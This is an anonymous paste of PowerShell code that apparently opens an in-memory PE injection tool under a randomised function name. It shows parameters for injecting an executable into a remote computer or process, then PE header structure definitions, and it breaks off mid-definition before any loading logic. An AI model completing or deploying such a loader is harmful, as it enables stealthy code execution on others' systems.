SHARE
TWEET

Untitled

a guest Aug 21st, 2019 143 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. function Invoke-YZSIPFNXTHVFWKM
  2. {
  3.  
  4. [CmdletBinding()]
  5. Param(
  6.     [Parameter(Position = 0, Mandatory = $true)]
  7.     [ValidateNotNullOrEmpty()]
  8.     [Byte[]]
  9.     $PEBytes,
  10.  
  11.     [Parameter(Position = 1)]
  12.     [String[]]
  13.     $ComputerName,
  14.  
  15.     [Parameter(Position = 2)]
  16.     [ValidateSet( 'WString', 'String', 'Void' )]
  17.     [String]
  18.     $FuncReturnType = 'Void',
  19.  
  20.     [Parameter(Position = 3)]
  21.     [String]
  22.     $ExeArgs,
  23.  
  24.     [Parameter(Position = 4)]
  25.     [Int32]
  26.     $ProcId,
  27.  
  28.     [Parameter(Position = 5)]
  29.     [String]
  30.     $ProcName,
  31.  
  32.     [Switch]
  33.     $ForceASLR,
  34.  
  35.     [Switch]
  36.     $DoNotZeroMZ
  37. )
  38.  
  39. Set-StrictMode -Version 2
  40.  
  41.  
  42. $RemoteScriptBlock = {
  43.     [CmdletBinding()]
  44.     Param(
  45.         [Parameter(Position = 0, Mandatory = $true)]
  46.         [Byte[]]
  47.         $PEBytes,
  48.  
  49.         [Parameter(Position = 1, Mandatory = $true)]
  50.         [String]
  51.         $FuncReturnType,
  52.  
  53.         [Parameter(Position = 2, Mandatory = $true)]
  54.         [Int32]
  55.         $ProcId,
  56.  
  57.         [Parameter(Position = 3, Mandatory = $true)]
  58.         [String]
  59.         $ProcName,
  60.  
  61.         [Parameter(Position = 4, Mandatory = $true)]
  62.         [Bool]
  63.         $ForceASLR
  64.     )
  65.  
  66.     Function Get-Win32Types
  67.     {
  68.         $Win32Types = New-Object System.Object
  69.  
  70.         $Domain = [AppDomain]::CurrentDomain
  71.         $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly')
  72.         $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
  73.         $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false)
  74.         $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
  75.  
  76.         $TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16])
  77.         $TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null
  78.         $TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null
  79.         $TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null
  80.         $TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null
  81.         $MachineType = $TypeBuilder.CreateType()
  82.         $Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType
  83.  
  84.  
  85.         $TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16])
  86.         $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null
  87.         $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null
  88.         $MagicType = $TypeBuilder.CreateType()
  89.         $Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType
  90.  
  91.  
  92.         $TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16])
  93.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null
  94.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null
  95.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null
  96.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null
  97.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null
  98.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null
  99.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null
  100.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null
  101.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null
  102.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null
  103.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null
  104.         $SubSystemType = $TypeBuilder.CreateType()
  105.         $Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType
  106.  
  107.  
  108.         $TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16])
  109.         $TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null
  110.         $TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null
  111.         $TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null
  112.         $TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null
  113.         $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null
  114.         $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null
  115.         $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null
  116.         $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null
  117.         $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null
  118.         $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null
  119.         $TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null
  120.         $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null
  121.         $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null
  122.         $DllCharacteristicsType = $TypeBuilder.CreateType()
  123.         $Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType
  124.  
  125.  
  126.  
  127.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
  128.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8)
  129.         ($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null
  130.         ($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null
  131.         $IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType()
  132.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY
  133.  
  134.  
  135.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  136.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20)
  137.         $TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null
  138.         $TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null
  139.         $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
  140.         $TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null
  141.         $TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null
  142.         $TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null
  143.         $TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null
  144.         $IMAGE_FILE_HEADER = $TypeBuilder.CreateType()
  145.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER
  146.  
  147.  
  148.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
  149.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240)
  150.         ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null
  151.         ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null
  152.         ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null
  153.         ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null
  154.         ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null
  155.         ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null
  156.         ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null
  157.         ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null
  158.         ($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null
  159.         ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null
  160.         ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null
  161.         ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null
  162.         ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null
  163.         ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null
  164.         ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null
  165.         ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null
  166.         ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null
  167.         ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null
  168.         ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null
  169.         ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null
  170.         ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null
  171.         ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null
  172.         ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null
  173.         ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null
  174.         ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null
  175.         ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null
  176.         ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null
  177.         ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null
  178.         ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null
  179.         ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null
  180.         ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null
  181.         ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null
  182.         ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null
  183.         ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null
  184.         ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null
  185.         ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null
  186.         ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null
  187.         ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null
  188.         ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null
  189.         ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null
  190.         ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null
  191.         ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null
  192.         ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null
  193.         ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null
  194.         ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null
  195.         $IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType()
  196.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64
  197.  
  198.  
  199.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
  200.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224)
  201.         ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null
  202.         ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null
  203.         ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null
  204.         ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null
  205.         ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null
  206.         ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null
  207.         ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null
  208.         ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null
  209.         ($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null
  210.         ($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null
  211.         ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null
  212.         ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null
  213.         ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null
  214.         ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null
  215.         ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null
  216.         ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null
  217.         ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null
  218.         ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null
  219.         ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null
  220.         ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null
  221.         ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null
  222.         ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null
  223.         ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null
  224.         ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null
  225.         ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null
  226.         ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null
  227.         ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null
  228.         ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null
  229.         ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null
  230.         ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null
  231.         ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null
  232.         ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null
  233.         ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null
  234.         ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null
  235.         ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null
  236.         ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null
  237.         ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null
  238.         ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null
  239.         ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null
  240.         ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null
  241.         ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null
  242.         ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null
  243.         ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null
  244.         ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null
  245.         ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null
  246.         ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null
  247.         $IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType()
  248.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32
  249.  
  250.  
  251.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  252.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264)
  253.         $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null
  254.         $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null
  255.         $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null
  256.         $IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType()
  257.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64
  258.  
  259.  
  260.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  261.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248)
  262.         $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null
  263.         $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null
  264.         $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null
  265.         $IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType()
  266.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32
  267.  
  268.  
  269.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  270.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64)
  271.         $TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null
  272.         $TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null
  273.         $TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null
  274.         $TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null
  275.         $TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null
  276.         $TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null
  277.         $TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null
  278.         $TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null
  279.         $TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null
  280.         $TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null
  281.         $TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null
  282.         $TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null
  283.         $TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null
  284.         $TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null
  285.  
  286.         $e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal')
  287.         $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
  288.         $FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
  289.         $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4))
  290.         $e_resField.SetCustomAttribute($AttribBuilder)
  291.  
  292.         $TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null
  293.         $TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null
  294.  
  295.         $e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal')
  296.         $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
  297.         $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10))
  298.         $e_res2Field.SetCustomAttribute($AttribBuilder)
  299.  
  300.         $TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null
  301.         $IMAGE_DOS_HEADER = $TypeBuilder.CreateType()
  302.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER
  303.  
  304.  
  305.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  306.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40)
  307.  
  308.         $nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal')
  309.         $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
  310.         $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8))
  311.         $nameField.SetCustomAttribute($AttribBuilder)
  312.  
  313.         $TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null
  314.         $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null
  315.         $TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null
  316.         $TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null
  317.         $TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null
  318.         $TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null
  319.         $TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null
  320.         $TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null
  321.         $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
  322.         $IMAGE_SECTION_HEADER = $TypeBuilder.CreateType()
  323.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER
  324.  
  325.  
  326.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  327.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8)
  328.         $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null
  329.         $TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null
  330.         $IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType()
  331.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION
  332.  
  333.  
  334.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  335.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20)
  336.         $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
  337.         $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
  338.         $TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null
  339.         $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null
  340.         $TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null
  341.         $IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType()
  342.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR
  343.  
  344.  
  345.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  346.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40)
  347.         $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
  348.         $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
  349.         $TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null
  350.         $TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null
  351.         $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null
  352.         $TypeBuilder.DefineField('Base', [UInt32], 'Public') | Out-Null
  353.         $TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null
  354.         $TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null
  355.         $TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null
  356.         $TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null
  357.         $TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null
  358.         $IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType()
  359.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY
  360.  
  361.  
  362.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  363.         $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8)
  364.         $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null
  365.         $TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null
